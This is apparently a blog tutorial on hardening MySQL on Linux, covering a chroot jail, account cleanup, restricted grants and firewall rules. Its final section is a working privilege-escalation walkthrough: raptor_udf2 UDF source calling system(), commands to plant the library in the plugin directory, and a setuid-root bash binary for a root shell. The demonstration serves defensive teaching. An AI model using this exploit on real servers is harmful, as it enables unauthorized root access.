Secure MySQL server with chroot environment

Chrooted environments are known to enhance system and application security by providing them with a higher degree of isolation. The objective is to separate as much as possible from other executables and resources the runtime environment of an application so that if a hacker get access to MySQL database, the rest of the system is not compromised. This operation consists in creating separate set of filesystem directories (such as /etc, /tmp, /var/tmp, /usr, /dev, /proc etc) and copy a minimal number of binary and configuration files into this new directory tree. 

After setting the proper permissions on the new directories, the chrootuid utility is used to execute the application in the restricted environment. Again, whoever gains control on the application has only access to the /chroot directory tree, and many tools and services are not available in that environment.

Following are the steps required to setup MySQL chroot environment.

Check mysql status and it is better to stop MySQL service if it is not stopped.

sudo /etc/init.d/mysqld status

List the mysql packages and its version installed  

sudo rpm -qa mysql-server mysql-libs mysql

Download the rpm files of the packages installed. We have to download exact version of the package rpms

wget http://rpms.famillecollet.com/enterprise/6/remi/x86_64/mysql-5.5.47-1.el6.remi.x86_64.rpm

wget http://rpms.famillecollet.com/enterprise/6/remi/x86_64/mysql-libs-5.5.47-1.el6.remi.x86_64.rpm

wget http://rpms.famillecollet.com/enterprise/6/remi/x86_64/mysql-server-5.5.47-1.el6.remi.x86_64.rpm

Extract all the downloaded rpm files with the command below

rpm2cpio mysql-5.5.47-1.el6.remi.x86_64.rpm | cpio -idmv

rpm2cpio mysql-libs-5.5.47-1.el6.remi.x86_64.rpm | cpio -idmv

rpm2cpio mysql-server-5.5.47-1.el6.remi.x86_64.rpm | cpio -idmv

In our case we are using directory /opt/chroot/mysql as our new root and hosting MySQL from chrooted directory /opt/chroot/mysql so lets create required directories with root privileges.

sudo su -

mkdir -p /opt/chroot/mysql

cd /opt/chroot/mysql

List the extracted content and copy extracted directories to our chroot directory /opt/chroot/mysql

ls

sudo cp -r usr /opt/chroot/mysql/

sudo cp -r etc /opt/chroot/mysql/

sudo cp -r var /opt/chroot/mysql/

Login as user root and change directory to /opt/chroot/mysql and Create additional required directories.

sudo su -

cd /opt/chroot/mysql

mkdir -p bin dev lib lib64 proc sys tmp

Change the permission of /tmp accessible to everyone

chmod 777 /opt/chroot/mysql/tmp

Change ownership of required files to mysql user

chown mysql:mysql /opt/chroot/mysql/var/run/mysqld

chown mysql:mysql /opt/chroot/mysql/var/lib/mysql

Copy following library files to chrooted lib location /opt/chroot/mysql/lib, /opt/chroot/mysql/lib64

Follow the process below to copy these files.

Create /tmp/liblist file with the following contents

ld-linux-x86-64.so.2

libcrypto.so.10  

libgmp.so.3

libkrb5support.so.0   

libnss_dns-2.12.so  

libnss_nis-2.12.so

libpam_misc.so.0   

libresolv.so.2   

libz.so.1 

libacl.so.1

libcrypt.so.1  

libgssapi_krb5.so.2  

libkrb5support.so.0.1

libnss_dns.so.2  

libnss_nisplus-2.12.so  

libpam_misc.so.0.82.0

librt.so.1 

libattr.so.1  

libc.so.6  

libk5crypto.so.3

libm.so.6  

libnss_files-2.12.so   

libnss_nisplus.so.2

libpam.so.0  

libselinux.so.1 

libaudit.so.1  

libdl.so.2

libkeyutils.so.1  

libnsl.so.1  

libnss_files.so.2

libnss_nis.so.2  

libpam.so.0.82.2 

libssl.so.10 

libcap.so.2

libfreebl3.so    

libkrb5.so.3   

libnss_compat-2.12.so

libnss_hesiod-2.12.so  

libpamc.so.0   

libpcre.so.0

libstdc++.so.6 

libcom_err.so.2       

libgcc_s.so.1

libkrb5.so.3.3       

libnss_compat.so.2     

libnss_hesiod.so.2

libpamc.so.0.82.1       

libpthread.so.0        

libtinfo.so.5

libaio.so

libaio.so.1

libproc-3.2.8.so

Execute following command to copy file

find /lib/ | grep -if /tmp/liblist  | xargs -I {} cp {} /opt/chroot/mysql/lib/

find /usr/lib/ | grep -if /tmp/liblist  | xargs -I {} cp {} /opt/chroot/mysql/lib/

find /lib64/ | grep -if /tmp/liblist  | xargs -I {} cp {} /opt/chroot/mysql/lib64/

find /usr/lib64/ | grep -if /tmp/liblist  | xargs -I {} cp {} /opt/chroot/mysql/lib64/

Verify files are properly copied

cd /opt/chroot/mysql/lib64/

ls

Copy executables to bin directory

cp -a /bin/* /opt/chroot/mysql/bin/

cp -a /usr/bin/expr /opt/chroot/mysql/usr/bin/

cp -a /usr/bin/dirname /opt/chroot/mysql/usr/bin/

cp -a /usr/bin/nohup /opt/chroot/mysql/usr/bin/

Add following configuration in /etc/fstab

cat >> /etc/fstab

/sys            /opt/chroot/mysql/sys         none    bind      0      0

/proc           /opt/chroot/mysql/proc        none    bind      0      0

/dev            /opt/chroot/mysql/dev         none    bind      0      0

Execute mount -a command to mount bind.

mount -a

Create additional directory and copy required configuration files.

mkdir -p /home/chroot/etc/

cp /etc/passwd /opt/chroot/mysql/etc/

cp /etc/group /opt/chroot/mysql/etc/

cp /etc/nsswitch.conf /home/chroot/etc/

cp /etc/localtime /home/chroot/etc/

Move existing my.cnf inside chroot directory to my.cnf.chroot file and copy running my.cnf there

mv /opt/chroot/mysql/etc/my.cnf /opt/chroot/mysql/etc/my.cnf.chroot

cp /etc/my.cnf /opt/chroot/mysql/etc

Make sure mysql is stopped before copying datafiles under the chrooted environment

/etc/init.d/mysqld status

Copy mysql data dir content to data directory 

cp -r /var/lib/mysql/* /opt/chroot/mysql/var/lib/mysql/

chown -R mysql:mysql /opt/chroot/mysql/var/lib/mysql

Execute chroot command to use newly configured root

chroot /opt/chroot/mysql 

Under new root execute following command to start mysql server manually

/usr/bin/mysqld_safe \

--datadir=/var/lib/mysql --socket=/var/run/mysqld/mysql.sock \

--pid-file=/var/run/mysqld/mysql.pid --basedir=/usr \

 --user=mysql > /dev/null 2>&1 &

Check the log on newly configured root

tail -f /opt/chroot/mysql/var/log/mysqld.log 

Edit /etc/init.d/mysqld file outsize the chroot environment and add following configuration files  to MySQL startup file(/etc/init.d/mysqld) search for $exec --datadir on start block Originally it looks like below

Original:

        $exec   --datadir="$datadir" --socket="$socketfile" \

                --pid-file="$mypidfile" \

                $MYOPTIONS \

                --basedir=/usr --user=mysql >/dev/null 2>&1 &

safe_pid=$!

Make it something like below

# Added by Dilli For chroot

        /usr/sbin/chroot /opt/chroot/mysql \

        $exec   --datadir="$datadir" --socket="$socketfile" \

                --pid-file="$mypidfile" \

                $MYOPTIONS \

                --basedir=/usr --user=mysql >/dev/null 2>&1 &

        # Added by Dilli For chroot

        ln -s /opt/chroot/mysql/var/lib/mysql/mysql.sock $datadir/mysql.sock 2>/dev/null

        ln -s /opt/chroot/mysql/var/run/mysqld/mysqld.pid /var/run/mysqld/mysqld.pid 2>/dev/null

safe_pid=$!

Now we can start mysql with command below.

/etc/init.d/mysqld start

Securing MySQL on Linux

Never run mysql as user root.

Running MySQL as root, means everything the server process does is also done as root. MySQL user with super grant  can have a root shell access using User defined functions and setuid binaries normal user can have root shell access on server. Click on link below for details.

Get a root shell access using mysql UDF function

Change root password immediately after mysql installation.

update mysql.user
set password=PASSWORD('newpassword')
where user='root';
flush privileges;

Removing anonymous MySQL accounts. 

These account comes by default on installation. So these account need to be removed immediately.

select user,host from mysql.user;
delete from mysql.user where user='';
flush privileges;

Changing the Root User

It is wise to change the Administrative username to something other than root. In my case I have changed it to Admin. 

Generate required SQL command with the command below. Replace Admin with the desired username from Admin role in MySQL.
select concat(' rename user ''',user,'''','@','''',host,''' to ''Admin''','@','''',host,''';') from mysql.user;
rename user 'root'@'127.0.0.1' to 'Admin'@'127.0.0.1'; 
       rename user 'root'@'localhost' to 'Admin'@'localhost'; 
       rename user 'root'@'zabbix.localdomain' to 'Admin'@'zabbix.localdomain';
       flush privileges;
    In case above we have replaced root with Admin. Later we have to connect mysql with user Admin and not root as below
    mysql -u Admin -p
 

Use Application-Specific Users
Never use % It means every host.
Use different password for different host if possible.
Never grant the PROCESS or SUPER or FILE privilege to normal users.

Rather than creating single user with full access on all database as below. Create user per database, per host and per privilege level. 
        Bad Practice
grant all on *.* to 'user_dilli'@'%' identified by 'password';

        Good Practice
grant select on db_dilli.* to 'user_dilli_r'@'192.168.1.10' identified by 'password1';
grant select on db_dilli.* to 'user_dilli_r'@'192.168.1.11' identified by 'password2;

grant all on db_dilli.* to 'user_dilli_rw'@'192.168.1.10' identified by 'p@ssword3';
grant all on db_dilli.* to 'user_dilli_rw'@'192.168.1.11' identified by 'passw0rd4';

Drop test database that comes while installation.

Database test comes default with the installation. This database is of no use and can be removed immediately after installation.

show databases;
drop database test;

Disabling MySQL Server history file

MySQL client writes all executed commands to the Linux system’s user home directory in file .mysql_history. Though the file is hidden the file is easily accessible. The file contains commands as well as passwords which is dangerous in the case host machine is compromised.
So better way is to disable this feature. Literally, begin DBA I have never read this file till now and assume it is not required in coming days too. Execute following command on Linux shell.

rm -rf ~/.mysql_history
ln -sf /dev/null ~/.mysql_history

Disable remote login if DB is used locally with skip-networking or bind-address. Execute following command on shell.

netstat -ant | grep 3306
/etc/init.d/mysqld stop
#Add Following lines to my.cnf file 
bind-address = 127.0.0.1
/etc/init.d/mysqld Start
netstat -ant | grep 3306

Now database can be connected locally only. Remove host login is not allowed.

Disable access to the underlying filesystem

The LOAD DATA statement can load a file that is located on the server host, or it can load a file that is located on the client host when the LOCAL keyword is specified. It may be security loop hole sometimes so it is wise to disable it. Any user can load plugins and you database may be hacked using this option. So we should OFF this setting and should not ON unless it is required.

load data local infile '/Users/dilli/Desktop/infile.data' 
into table `tbl_infile` 
fields terminated by ',' 
lines terminated by '\n';

 

Disable loading local file with 

set global local_infile=OFF;
or
Add following configuration on my.cnf
local-infile=0 
 

Start mysql database on non default port.

Starting mysql to non default port is another way to protect the mysql database. In such case we have to specify the port while connecting to mysql database.
To start mysql database on non default port add following configuration on my.cnf

# Find the PID of mysql from command below. Execute command below on Linux shell
ps aux | grep mysql

# Replace the PID from pid generated above
ss -l -p -n | grep ",PID,"

# Stop mysql service
/etc/init.d/mysqld stop

# Add following setting with desired port on my.cnf FILE

port = 6603 

Verify new port with command below

ps aux | grep mysql
ss -l -p -n | grep ",PID,"

Iptables rules to secure mysql

Use Linux iptables firewall rule to allow mysql request from required hosts. Make sure to deny rest.
iptables -A INPUT -p tcp -s 192.168.0.100 --dport 3306 -j ACCEPT
iptables -A OUTPUT -p tcp -d 192.168.0.100 --sport 3306 -j ACCEPT
iptables -A INPUT -p tcp --dport 3306 -j DROP
iptables -A OUTPUT -p tcp --sport 3306 -j DROP

Chrooting the server

A chroot on Unix operating systems is an operation that changes the apparent root directory for the current running process and its children. A program that is run in chroot environment cannot access outside the modified root. If there is high threat of accessing system via mysql then it is advised to chroot mysql to protect from such a threat. To be frank chroot is little tricky but is very easy to deploy.

Get root shell access using mysql with user defined functions and setuid

Never run MySQL server processes as user root.

This step by step guide is to gain Root shell using MySQL User Defined Functions and SETUID Binaries. This guide will not work if MySQL server processes is started with OS user mysql.

if accidentally mysql server is started with user root then we can easily get the root shell access using MySQL User Defined Functions and SETUID binaries. For demonstration purpose we have stopped database and intentionally started database as user root.

For demonstration we are using following:

• MySQL Server version: 5.1.73 Source distribution
• Red Hat Enterprise Linux Server release 6.7 (Santiago)
• Limited OS user access
• MySQL root access.

Find the user who have started mysql server.

We can notice that the MySQL server processed is started with user mysql. on third line process with PID 3069 has user mysql will determine the user with whom the server processes is started.

ps aux | grep mysql

Stop mysql server

/etc/init.d/mysqld stop

Modify user=root parameter on my.cnf

Start mysql server 

/etc/init.d/mysqld start

Find  plugin_dir of mysql.

We need to find the plugin directory of mysql. We will store our custom library file to the plugin directory.

show variables like '%plugin_dir%';

Create file raptor_udf2.c with following contents on home directory

This c file will define function do_system to execute Linux OS command.

#include

#include

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {

unsigned int arg_count; // number of arguments

enum Item_result *arg_type; // pointer to item_result

char **args; // pointer to arguments

unsigned long *lengths; // length of string args

char *maybe_null; // 1 for maybe_null args

} UDF_ARGS;

typedef struct st_udf_init {

char maybe_null; // 1 if func can return NULL

unsigned int decimals; // for real functions

unsigned long max_length; // for string functions

char *ptr; // free ptr for func data

char const_item; // 0 if result is constant

} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)

{

if (args->arg_count != 1)

return(0);

system(args->args[0]);

return(0);

}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)

{

return(0);

}

Compile c file with command below

gcc -g -fPIC -c raptor_udf2.c

gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Login to mysql as user root.

Note we have login MySQL as OS user oracle not as User root.

mysql -u root -p

Pick any database and create table.

We can choose any database in following step. We will create a table, load our plugin to the table and finally dump our plugin to the plugin directory. We do not have directly access to plugin directory so we are processing the same thing via mysql. 

 use test;

 create table dilli(line blob);

Load lib file to the table with command below.

insert into dilli values(load_file('/home/oracle/raptor_udf2.so'));

Create library file on the plugin directory listed above.

select line from dilli into dumpfile '/usr/lib64/mysql/plugin/raptor_udf2.so';

Create user defined functions

create function do_system returns integer soname 'raptor_udf2.so';

Create file setuid.c with content below
This binary allows users to execute the binary with the permissions of the executables owner.

#include

#include

#include

int main(void)

{

setuid(0); setgid(0); system("/bin/bash");

}

Execute following command on mysql as db user root. 

select do_system('gcc -o /tmp/setuid /home/oracle/setuid.c');

select do_system('chmod u+s /tmp/setuid');

Execute following command to gain root access

\!sh /tmp/setuid